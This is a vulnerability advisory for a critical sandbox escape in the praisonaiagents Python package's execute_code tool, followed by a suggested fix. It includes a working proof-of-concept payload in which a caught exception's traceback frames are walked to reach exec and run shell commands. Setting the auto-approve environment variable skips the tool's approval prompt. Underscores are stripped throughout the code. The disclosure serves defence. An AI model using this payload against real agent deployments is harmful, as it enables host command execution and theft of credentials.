PT-2026-53561 · Pypi · Praisonaiagents
Publicado
2026-06-29
·
Atualizado
2026-06-29
CVSS v3.1
9.9
Crítica
| Vetor | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
Summary
execute code() in praisonaiagents.tools.python tools defaults to
sandbox mode="sandbox", which runs user code in a subprocess wrapped with a
restricted builtins dict and an AST-based blocklist. The AST blocklist
embedded inside the subprocess wrapper (blocked attrs, line 143 of
python tools.py) contains only 11 attribute names — a strict subset of the 30+
names blocked in the direct-execution path. The four attributes that form a
frame-traversal chain out of the sandbox are all absent from the subprocess list:| Attribute | In subprocess blocked attrs | In direct-mode blocked attrs |
|---|---|---|
traceback | NO | YES |
tb frame | NO | YES |
f back | NO | YES |
f builtins | NO | YES |
Chaining these attributes through a caught exception exposes the real Python
builtins dict of the subprocess wrapper frame, from which exec can be
retrieved and called under a non-blocked variable name — bypassing every
remaining security layer.Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical
| Vector | Value | Rationale |
|---|---|---|
| AV:N | Network | execute code is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments |
| AC:L | Low | No race conditions or special configuration required |
| PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) |
| UI:N | None | No victim interaction |
| S:C | Changed | Escapes subprocess sandbox into full host process context |
| C:H | High | Arbitrary file read, environment variable access, credential exfiltration |
| I:H | High | Arbitrary file write, arbitrary code execution on host |
| A:H | High | Can terminate processes, exhaust resources |
Affected
- Package:
praisonaiagents(PyPI) - Affected versions: all versions shipping
sandbox mode="sandbox"(default since introduction) through 1.5.113 - Patched versions: none at time of report
- File:
praisonaiagents/tools/python tools.py
Root Cause
Two separate blocked attrs sets — one much weaker than the other
validate code ast() (line 39, used by direct mode) blocks 30+ attributes:python
# python tools.py line 52 — direct mode (FULL list, correctly includes frame attrs)
blocked attrs = frozenset({
' subclasses ', ' bases ', ' mro ', ' globals ',
' code ', ' class ', ' dict ', ' builtins ',
' import ', ' loader ', ' spec ', ' init subclass ',
' set name ', ' reduce ', ' reduce ex ',
' traceback ', ' qualname ', ' module ', # ← present here
' wrapped ', ' closure ', ' annotations ',
'gi frame', 'gi code', 'cr frame', 'cr code',
'ag frame', 'ag code', 'tb frame', 'tb next', # ← present here
'f globals', 'f locals', 'f builtins', 'f code', # ← present here
'co consts', 'co names',
})The subprocess wrapper script written to disk (line 143) uses a separate,
inline
blocked attrs with only 11 entries — the frame-traversal attrs are
missing:python
# python tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs)
blocked attrs = {
' subclasses ', ' bases ', ' mro ', ' globals ',
' code ', ' class ', ' dict ', ' builtins ',
' import ', ' loader ', ' spec '
# traceback , tb frame, f back, f builtins — all absent
} safe getattr does not protect direct dot-notation access
safe getattr replaces the getattr builtin and blocks attribute names
starting with . However, it is only invoked when user code explicitly calls
getattr(obj, name). Direct attribute access (obj.attr in source) uses
Python's C-level tp getattro slot and never passes through safe getattr.
The AST check is therefore the only barrier to direct attribute access, and it
is insufficient.No text-pattern blocklist in subprocess mode
execute code direct applies a text-pattern blocklist (dangerous patterns)
as a defence-in-depth layer. execute code sandboxed has no such layer —
only the AST check runs.Proof of Concept
python
import os
os.environ["PRAISONAI AUTO APPROVE"] = "true"
from praisonaiagents.tools.python tools import execute code
CMD = "id" # any shell command
payload = f"""
try:
1/0
except ZeroDivisionError as e:
p = e. traceback .tb frame.f back
x = p.f builtins["exec"]
x("import subprocess; print(subprocess.check output({repr(CMD)}, shell=True).decode())",
{{" builtins ": p.f builtins}})
"""
result = execute code(code=payload)
print(result["stdout"])Output (praisonaiagents 1.5.113, Python 3.10):
uid=1000(user) gid=1000(user) groups=1000(user)Why each defence is bypassed:
| Layer | Status | Reason |
|---|---|---|
AST blocked attrs | BYPASSED | traceback, tb frame, f back, f builtins not in 11-item subprocess list |
safe getattr | BYPASSED | Only intercepts getattr() calls; dot notation uses C-level tp getattro |
exec-by-name AST check | BYPASSED | Called as x(...) — func.id is ' x', not 'exec' |
| Text-pattern blocklist | N/A | Does not exist in subprocess mode |
| Subprocess process isolation | BYPASSED | Frame traversal reaches real builtins within the subprocess |
Attack Chain
execute code(payload)
└─ execute code sandboxed()
└─ subprocess: exec(user code, safe globals)
└─ user code raises ZeroDivisionError
└─ e. traceback ← traceback not in blocked attrs
└─ .tb frame ← tb frame not in blocked attrs
└─ .f back ← f back not in blocked attrs
└─ .f builtins ← f builtins not in blocked attrs
└─ ["exec"] ← dict subscript, no attr check
└─ x("import subprocess; ...")
└─ RCEImpact
Any application that exposes
execute code to user-controlled or
LLM-generated input — including all standard PraisonAI agent deployments — is
fully compromised by a single API call:- Arbitrary command execution on the host (in the subprocess user context)
- File system read/write — source code, credentials,
.envfiles, SSH keys - Environment variable exfiltration — API keys, secrets passed to the agent process
- Network access — outbound connections to attacker infrastructure unaffected by
env={} - Lateral movement — the subprocess inherits the host's network stack and filesystem
Suggested Fix
1. Merge blocked attrs into a single shared constant
The subprocess wrapper must use the same attribute blocklist as the direct mode.
Replace the inline
blocked attrs in the wrapper template with the full set:python
# Add to subprocess wrapper template (python tools.py ~line 143):
blocked attrs = {
' subclasses ', ' bases ', ' mro ', ' globals ',
' code ', ' class ', ' dict ', ' builtins ',
' import ', ' loader ', ' spec ', ' init subclass ',
' set name ', ' reduce ', ' reduce ex ',
' traceback ', ' qualname ', ' module ', # ← ADD
' wrapped ', ' closure ', ' annotations ', # ← ADD
'gi frame', 'gi code', 'cr frame', 'cr code', # ← ADD
'ag frame', 'ag code', 'tb frame', 'tb next', # ← ADD
'f globals', 'f locals', 'f builtins', 'f code', # ← ADD
'co consts', 'co names', # ← ADD
}2. Block all -prefixed attribute access at AST level
safe getattr only covers getattr() calls. Add a blanket AST rule to block
any ast.Attribute node whose attr starts with :python
if isinstance(node, ast.Attribute) and node.attr.startswith(' '):
return f"Access to private attribute '{node.attr}' is restricted"3. Add the text-pattern layer to subprocess mode
Mirror
execute code direct's dangerous patterns check in
execute code sandboxed as defence-in-depth.References
- Affected file:
praisonaiagents/tools/python tools.py(PyPI:praisonaiagents) - CWE-693: Protection Mechanism Failure
- CWE-657: Violation of Secure Design Principles
Correção
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Praisonaiagents